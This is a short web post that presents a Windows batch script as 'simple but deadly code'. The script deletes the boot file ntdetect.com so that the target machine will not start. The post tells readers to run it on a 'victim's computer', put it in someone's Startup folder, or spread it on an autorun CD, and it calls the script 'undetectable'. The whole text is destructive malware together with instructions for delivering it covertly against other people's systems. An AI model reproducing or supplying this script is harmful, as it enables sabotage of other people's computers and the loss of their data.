Simple, but deadly code

Simple, but deadly code >>> UNDETECTABLE
Here is a simple way on how to Block your enemies PC
The Simple but Deadly Code
open notepad type the code as following
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echo off
C:
cd..
cd..
cd..
attrib -r -s -h ntdetect.com
del ntdetect.com
echo on
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save this file as virus.bat or any other name with bat extension
Double click it in the victim's computer or Put it in Startup of Ur enemy or put it in a CD and set it in the autorun.
NOTE: DO NOT Run this into your PC
with this activated once the computer will run perfectly !
once shutdowned then it will not start and U will have to format it (Except you know how to use DOS).